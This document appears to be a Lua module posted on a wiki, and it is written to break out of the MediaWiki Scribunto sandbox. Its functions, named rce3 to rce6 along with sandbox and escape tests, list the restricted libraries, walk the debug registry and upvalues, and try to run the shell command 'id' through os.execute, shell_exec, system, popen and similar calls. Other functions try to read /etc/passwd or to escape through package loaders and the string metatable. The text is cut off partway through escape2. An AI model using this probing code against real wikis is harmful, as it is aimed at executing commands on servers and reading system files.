        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce5(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;executeFunction:&amp;quot; .. tostring(mw.executeFunction) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to call executeFunction&lt;br /&gt;
        r = r .. &amp;quot;exec_result:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;os&amp;quot;, &amp;quot;execute&amp;quot;, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec1_blocked:&amp;quot; .. tostring(err) end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_shell:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;shell_exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec2_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_exec:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec3_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_system:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;system&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec4_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_passthru:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;passthru&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec5_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_popen:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;popen&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec6_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Check mw.ext&lt;br /&gt;
        r = r .. &amp;quot;mw_ext:&amp;quot; .. tostring(mw.ext) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext then&lt;br /&gt;
            for k, v in pairs(mw.ext) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;ext_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.hash&lt;br /&gt;
        r = r .. &amp;quot;hash:&amp;quot; .. tostring(mw.hash) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.hash then&lt;br /&gt;
            for k, v in pairs(mw.hash) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;hash_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try loadJsonData with file://&lt;br /&gt;
        r = r .. &amp;quot;loadJson:&amp;quot; .. tostring(mw.loadJsonData) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;try_load:&amp;quot; .. tostring(mw.loadJsonData(&amp;quot;/etc/passwd&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;loadJson_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction properly&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;#expr&amp;quot;, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;expr:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;expr_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.title with file://&lt;br /&gt;
        local t = mw.title.new(&amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;title_file:&amp;quot; .. tostring(t)&lt;br /&gt;
        if t then&lt;br /&gt;
            r = r .. &amp;quot;:&amp;quot; .. t:getContent()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;title_file_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce6(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_PF:&amp;quot; .. tostring(mw.ext.ParserFunctions) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.ParserFunctions then&lt;br /&gt;
            for k, v in pairs(mw.ext.ParserFunctions) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_seo:&amp;quot; .. tostring(mw.ext.seo) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.seo then&lt;br /&gt;
            for k, v in pairs(mw.ext.seo) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to call ParserFunctions functions&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        r = r .. &amp;quot;pf_expr:&amp;quot; .. tostring(pf.expr(&amp;quot;2+2&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try WikiSEO functions&lt;br /&gt;
        local seo = mw.ext.seo&lt;br /&gt;
        r = r .. &amp;quot;seo_func:&amp;quot; .. tostring(seo)&lt;br /&gt;
        if type(seo) == &amp;quot;function&amp;quot; then&lt;br /&gt;
            local res = seo({description = &amp;quot;test&amp;quot;})&lt;br /&gt;
            r = r .. &amp;quot; seo_res:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try DiscordNotifications extension&lt;br /&gt;
        r = r .. &amp;quot;mw_ext_keys2:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.ext) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try executing command through PHP callbacks&lt;br /&gt;
        -- Calling parse with specific arguments&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        if pf and pf.expr then&lt;br /&gt;
            -- Try to trigger error with command&lt;br /&gt;
            local res = pf.expr(&amp;quot;1&amp;quot;)&lt;br /&gt;
            -- Try if might have eval&lt;br /&gt;
            r = r .. &amp;quot;expr_ok:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try hash - maybe SHA with command?&lt;br /&gt;
        r = r .. &amp;quot;hash_list:&amp;quot; .. mw.hash.listAlgorithms() .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;hash_test:&amp;quot; .. mw.hash.hashValue(&amp;quot;md5&amp;quot;, &amp;quot;test&amp;quot;)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.text.jsonDecode with special JSON&lt;br /&gt;
        local malicious = &#039;{&amp;quot;__proto__&amp;quot;: {&amp;quot;x&amp;quot;: &amp;quot;y&amp;quot;}}&#039;&lt;br /&gt;
        local decoded = mw.text.jsonDecode(malicious)&lt;br /&gt;
        r = r .. &amp;quot;json_decode:ok&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;json_error:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test sandbox&lt;br /&gt;
function p.sandbox(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    local g = {}&lt;br /&gt;
    for k in pairs(_G) do g[#g+1] = k end&lt;br /&gt;
    r[#r+1] = &amp;quot;_G:&amp;quot; .. table.concat(g, &amp;quot;,&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    for _, lib in ipairs({&amp;quot;debug&amp;quot;,&amp;quot;os&amp;quot;,&amp;quot;io&amp;quot;,&amp;quot;package&amp;quot;,&amp;quot;string&amp;quot;,&amp;quot;table&amp;quot;,&amp;quot;math&amp;quot;,&amp;quot;coroutine&amp;quot;}) do&lt;br /&gt;
        local ok, m = pcall(require, lib)&lt;br /&gt;
        if ok and m then&lt;br /&gt;
            local kk = {}&lt;br /&gt;
            for k in pairs(m) do kk[#kk+1] = k end&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:&amp;quot; .. table.concat(kk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        else&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:nil&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    if mw and mw.ext then&lt;br /&gt;
        local ek = {}&lt;br /&gt;
        for k in pairs(mw.ext) do ek[#ek+1] = k end&lt;br /&gt;
        r[#r+1] = &amp;quot;mw.ext:&amp;quot; .. table.concat(ek, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test package.loaders/preload manipulation&lt;br /&gt;
function p.escape1(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    r[#r+1] = &amp;quot;loaders:&amp;quot; .. #package.loaders&lt;br /&gt;
    r[#r+1] = &amp;quot;preload:&amp;quot; .. #package.preload&lt;br /&gt;
    &lt;br /&gt;
    -- Check if we can add a custom loader&lt;br /&gt;
    local function custom_loader(modname)&lt;br /&gt;
        return function() return &amp;quot;loaded&amp;quot; end&lt;br /&gt;
    end&lt;br /&gt;
    local ok, err = pcall(table.insert, package.loaders, custom_loader)&lt;br /&gt;
    r[#r+1] = &amp;quot;add_loader:&amp;quot; .. tostring(ok)&lt;br /&gt;
    &lt;br /&gt;
    -- Now try to load our custom module&lt;br /&gt;
    local ok2, mod = pcall(require, &amp;quot;CUSTOM_TEST_MOD_&amp;quot; .. tostring(math.random(1,99999)))&lt;br /&gt;
    r[#r+1] = &amp;quot;load_custom:&amp;quot; .. tostring(ok2)&lt;br /&gt;
    if ok2 then r[#r+1] = &amp;quot;mod_type:&amp;quot; .. type(mod) end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Test string metatable escape&lt;br /&gt;
function p.escape2(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    &lt;br /&gt;
    -- Get string metatable&lt;br /&gt;
    local sm = getmetatable(&amp;quot;&amp;quot;)&lt;br /&gt;
    if sm then&lt;br /&gt;
        r[#r+1] = &amp;quot;sm:&amp;quot; .. type(sm)&lt;br /&gt;
        local smk = {}&lt;br /&gt;
        for k in pairs(sm) do smk[#smk+1] = tostring(k) end&lt;br /&gt;
        r[#r+1] = &amp;quot;smk:&amp;quot; .. table.concat(smk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        -- Try to access __index via rawget&lt;br /&gt;
        local raw_idx = rawget(sm, &amp;quot;__index&amp;quot;)&lt;br /&gt;
        if raw_idx then&lt;br /&gt;
            r[#r+1] = &amp;quot;raw_idx:&amp;quot; .. type(raw_idx)&lt;br /&gt;
            if type(raw_idx) == &amp;quot;table&amp;quot; then&lt;br /&gt;
                -- Try to access _G through the string library&lt;br /&gt;
                local raw_g = rawget(raw_idx, &amp;quot;_G&amp;quot;)&lt;br /&gt;
